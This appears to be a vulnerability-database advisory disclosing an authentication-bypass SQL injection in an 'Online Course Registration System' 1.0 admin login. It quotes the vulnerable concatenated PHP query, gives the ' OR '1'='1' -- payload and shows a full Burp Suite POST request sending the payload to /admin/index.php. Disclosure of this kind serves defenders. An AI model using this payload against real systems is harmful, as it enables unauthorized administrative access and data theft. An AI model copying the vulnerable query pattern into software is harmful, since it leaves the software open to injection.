Online Course Registration System - SQL Injection in User Authentication

Risk: Medium
Local: Yes
Remote: Yes
CWE: 89

# Exploit Title: [Online Course Registration System - SQL Injection in User Authentication] # Date: 02/09/2024 # Exploit Author: h4xforensics-diyar # Vendor Homepage: # Software Link: # Version: 1.0 # Tested on: Windows 11 + XAMPP 8.0.30 # Description # The code exhibits a SQL injection vulnerability due to the insecure handling of user input. The vulnerability is present in the following line: $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; Where It's Vulnerable: The vulnerability lies in the direct concatenation of user-supplied values ($username and $password) into the SQL query string. This practice allows an attacker to manipulate the input and potentially execute unauthorized SQL queries, posing a risk of unauthorized access or data manipulation. ## Proof Of Concept ## $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; An attacker could exploit the SQL injection vulnerability by manipulating the username field. They could input something like below: ' OR '1'='1' -- This input would make the query look like: SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'hashed_password'; Here: The single quote (') closes the original string. OR '1'='1' is a condition that always evaluates to true, allowing the attacker to bypass the login. -- is used to comment out the remaining part of the original query this input would allow an attacker to log in without a valid username and password. Burp Suite Request : POST /admin/index.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp Content-Length: 46 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://localhost/admin/index.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close username=admin%27or%271--&password=pwn&submit=

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top